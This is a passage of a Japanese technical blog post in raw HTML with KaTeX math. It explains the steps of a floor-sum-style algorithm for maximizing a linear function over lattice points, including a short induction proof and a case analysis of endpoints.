mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span> &#x306F;&#x3059;&#x3079;&#x3066;&#x304C;&#x4E00;&#x76F4;&#x7DDA;&#x4E0A;&#x306B;&#x4E26;&#x3076;&#x305F;&#x3081;&#x3001;&#x5DE6;&#x7AEF;&#x307E;&#x305F;&#x306F;&#x53F3;&#x7AEF;&#x3067;&#x306E;&#x5024;&#x304C;&#x6700;&#x5927;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x6642;&#x306F;&#x3001;&#x3053;&#x306E;&#x6700;&#x5927;&#x5024;&#x306B;&#x5F71;&#x97FF;&#x3057;&#x306A;&#x3044;&#x3088;&#x3046;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">&#x221E;</span></span></span></span> &#x3092;&#x8FD4;&#x3059;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="36%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">3,6&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x307E;&#x305A;&#x3001;&#x5E38;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x304C;&#x4FDD;&#x8A3C;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x8A3C;&#x660E;</summary>
<p>&#x5E30;&#x7D0D;&#x6CD5;&#x3067;&#x884C;&#x3044;&#x307E;&#x3059;&#x3002;<br>
&#x307E;&#x305A;&#x3001;&#x95A2;&#x6570;&#x3092;&#x521D;&#x3081;&#x3066;&#x547C;&#x3073;&#x51FA;&#x3059;&#x3068;&#x304D;&#x306F;&#x3001;&#x5236;&#x7D04;&#x304B;&#x3089; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x304C;&#x6210;&#x308A;&#x7ACB;&#x3061;&#x307E;&#x3059;&#x3002;<br>
&#x6B21;&#x306B;&#x3001;&#x3042;&#x308B;&#x6BB5;&#x968E;&#x3067;solve&#x304C;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x305F;&#x3068;&#x304D;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x304C;&#x6210;&#x308A;&#x7ACB;&#x3063;&#x3066;&#x3044;&#x3066;&#x3001;&#x305D;&#x308C;&#x307E;&#x3067;&#x3082;&#x305A;&#x3063;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x3063;&#x305F;&#x3068;&#x4EEE;&#x5B9A;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x3053;&#x306E;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x308C;&#x3070;6.&#x306B;&#x884C;&#x304D;&#x3001;&#x305D;&#x306E;&#x307E;&#x307E;&#x95A2;&#x6570;&#x304C;&#x7D42;&#x4E86;&#x3059;&#x308B;&#x305F;&#x3081;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306F;&#x6210;&#x308A;&#x7ACB;&#x3061;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3067;&#x3042;&#x308C;&#x3070;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span> &#x304C;&#x5165;&#x308C;&#x66FF;&#x308F;&#x308B;&#x3060;&#x3051;&#x306A;&#x306E;&#x3067;&#x554F;&#x984C;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3067;&#x3042;&#x308A;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3067;&#x3042;&#x308C;&#x3070;&#x3001;&#x6B21;&#x306B;&#x547C;&#x3070;&#x308C;&#x308B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord text"><span class="mord">solve</span></span></span></span></span> &#x95A2;&#x6570;&#x306B;&#x306F;&#x7B2C;&#x4E00;&#x5F15;&#x6570;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x304C;&#x305D;&#x306E;&#x307E;&#x307E;&#x6E21;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;&#x6B21;&#x306E;&#x95A2;&#x6570;&#x3067;&#x3082; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306F;&#x6210;&#x308A;&#x7ACB;&#x3061;&#x307E;&#x3059;&#x3002;</p>
</details>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8193em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E;&#x3068;&#x304D;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3092;&#x6700;&#x5927;&#x5316;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x3092;&#x3067;&#x304D;&#x308B;&#x3060;&#x3051;&#x5927;&#x304D;&#x304F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x3092;&#x3067;&#x304D;&#x308B;&#x3060;&#x3051;&#x5C0F;&#x3055;&#x304F;&#x3057;&#x305F;&#x3044;&#x305F;&#x3081;&#x3001;&#x9818;&#x57DF;&#x5185;&#x306E;&#x53F3;&#x7AEF;&#x304B;&#x3064;&#x4E0B;&#x7AEF;&#x3067;&#x3042;&#x308B;&#x70B9; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span> &#x3092;&#x8A66;&#x3059;&#x306E;&#x304C;&#x6700;&#x9069;&#x3067;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;6&#x306B;&#x884C;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="4%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">4&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x3082;&#x3057;&#x9818;&#x57DF;&#x304C;&#x7E26;&#x9577; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mclose">)</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x306A;&#x3089;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x3092;&#x5165;&#x308C;&#x66FF;&#x3048;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span> &#x3082;&#x5FD8;&#x308C;&#x305A;&#x306B;&#x5165;&#x308C;&#x66FF;&#x3048;&#x3066;&#x3001;&#x9818;&#x57DF;&#x3092;&#x6A2A;&#x9577;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h5 id="5%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">5&#x306B;&#x3064;&#x3044;&#x3066;</h5>
<p>&#x5148;&#x307B;&#x3069;&#x306E;&#x56F3;&#x3092;&#x3082;&#x3046;&#x4E00;&#x5EA6;&#x8F09;&#x305B;&#x307E;&#x3059;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">16</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">109</span><span class="mclose">)</span></span></span></span><br>
&#x4E21;&#x7AEF;&#x306E;&#x70B9;&#x306F;&#x7D2B;&#x8272;&#x306E;&#x30D0;&#x30C4;&#x5370;&#x306B;&#x3057;&#x3066;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<blockquote>
<p>&#x53F3;&#x7AEF;&#x306E;&#x70B9;&#x306F;&#x76F4;&#x611F;&#x7684;&#x306A;&#x53F3;&#x7AEF;&#x3067;&#x554F;&#x984C;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x304C;&#x3001;&#x5DE6;&#x7AEF;&#x306F;&#x5FC5;&#x305A;&#x3057;&#x3082; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x8EF8;&#x4E0A;&#x3067;&#x3042;&#x308B;&#x3068;&#x306F;&#x9650;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;&#x3088;&#x308A;&#x53B3;&#x5BC6;&#x306B;&#x306F;&#x3001;&#x53F3;&#x7AEF;&#x306E;&#x70B9;&#x306F; <strong><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x5C0F;</strong>&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">(&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mclose">)</span></span></span></span> &#x3067;&#x3042;&#x308A;&#x3001;&#x5DE6;&#x7AEF;&#x306E;&#x70B9;&#x306F; <strong><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x304C;&#x6700;&#x5927;</strong>&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span></span></span></span> &#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mopen">(</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span></span></span></span> &#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
</blockquote>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/image-5.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1541" height="687"></figure><!--kg-card-begin: markdown--><p>&#x307E;&#x305A;&#x306F;&#x3053;&#x306E;&#x4E21;&#x7AEF;&#x306E;&#x70B9;&#x306B;&#x3064;&#x3044;&#x3066;&#x3092;&#x8A66;&#x3057;&#x307E;&#x3059;&#x3002;&#x5DE6;&#x7AEF;&#x3067;&#x306E;&#x5024;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3067;&#x3001;&#x53F3;&#x7AEF;&#x3067;&#x306E;&#x5024;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">D</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span> &#x3067;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x3053;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x3064;&#x306E;&#x5024;&#x304C;&#x6700;&#x5927;&#x5024;&#x5019;&#x88DC;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
